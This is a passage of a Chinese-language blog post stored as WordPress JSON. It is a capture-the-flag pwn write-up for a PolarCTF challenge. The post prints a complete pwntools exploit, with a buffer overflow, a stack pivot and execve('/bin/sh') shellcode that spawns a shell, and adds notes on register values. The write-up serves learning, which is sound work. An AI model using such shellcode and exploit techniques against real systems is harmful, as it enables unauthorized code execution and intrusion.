edx,esi;\nsyscall;\n'''\n<\/code><\/pre>\n<p>\u9664\u53bb\u524d\u97624\u4e2anop\uff0c\u540e\u9762\u957f\u5ea6\u521a\u597d\u8fbe\u523013\u5b57\u8282\uff0c\u6ee1\u8db3\u6211\u4eec\u5bf9shellcode\u7684\u8981\u6c42(\u8fd9\u4e2a\u5730\u65b9\u8fd8\u662f\u9700\u8981\u4e0d\u65ad\u5c1d\u8bd5\u7684)\u8fd9\u91cc\u63a8\u8350\u4e00\u4e2a\u6c47\u7f16\u8f6c\u673a\u5668\u8bed\u7684\u7f51\u7ad9<\/p>\n<p><a href=\"https:\/\/shell-storm.org\/online\/Online-Assembler-and-Disassembler\/?inst=mov+eax%2C0x3b&amp;arch=x86-64&amp;as_format=hex#assembly\">\u6c47\u7f16<\/a><\/p>\n<p>\u5b8c\u6574exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='amd64',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2104)\np=process('.\/pwn1')\nelf=ELF('.\/pwn1')\n\nbss=0x4040C0\nread=0x401335\nsub_rsp_x15=0x40136A\nbin_sh=0x40203F\n\npayload=b'a'*9+p64(bss)+p64(read)\np.recvuntil(b'welcome to PolarCTF Summer Games')\n#gdb.attach(p)\np.sendline(payload)\n#pause()\n\nshellcode='''\nnop;\nnop;\nnop;\nnop;\nmov al,0x3b;\nmov edi,0x40203F;\nmov esi,ecx;\nmov edx,ecx;\nsyscall;\n'''\nshellcode=asm(shellcode)\nprint('shellcode&gt;&gt;',len(shellcode))\nshellcode+=p64(sub_rsp_x15)\n#gdb.attach(p)\np.sendline(shellcode)\n#pause\np.interactive()\n<\/code><\/pre>\n<p>\u8fd8\u6709\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u70b9\u662fexecve\u51fd\u6570\u7684\u7b2c\u4e8c\u4e09\u4e2a\u53c2\u6570\u8981\u63a7\u5236\u4e3a0\u9700\u8981\u627e\u5230\u5408\u9002\u7684\u5bc4\u5b58\u5668\uff0c\u672c\u5730\u73af\u5883\u548c\u8fdc\u7a0b\u7565\u6709\u4e0d\u540c\uff0c\u672c\u5730\u6267\u884c\u5230shellcode\u65f6ecx\u4e3a0(\u5982\u4e0aexp)\uff0c\u800c\u8fdc\u7a0b\u5219ebx\u4e3a0\uff0c\u4e0d\u7ba1\u600e\u6837\uff0c\u591a\u5c1d\u8bd5\u51e0\u4e2a\u5bc4\u5b58\u5668\u5c31\u597d\u5566<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[6,4],"class_list":["post-193","post","type-post","status-publish","format-standard","hentry","category-learning","tag-ctf","tag-pwn"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts\/193","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/comments?post=193"}],"version-history":[{"count":4,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts\/193\/revisions"}],"predecessor-version":[{"id":263,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/posts\/193\/revisions\/263"}],"wp:attachment":[{"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/media?parent=193"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/categories?post=193"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/38.175.194.203\/index.php\/wp-json\/wp\/v2\/tags?post=193"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}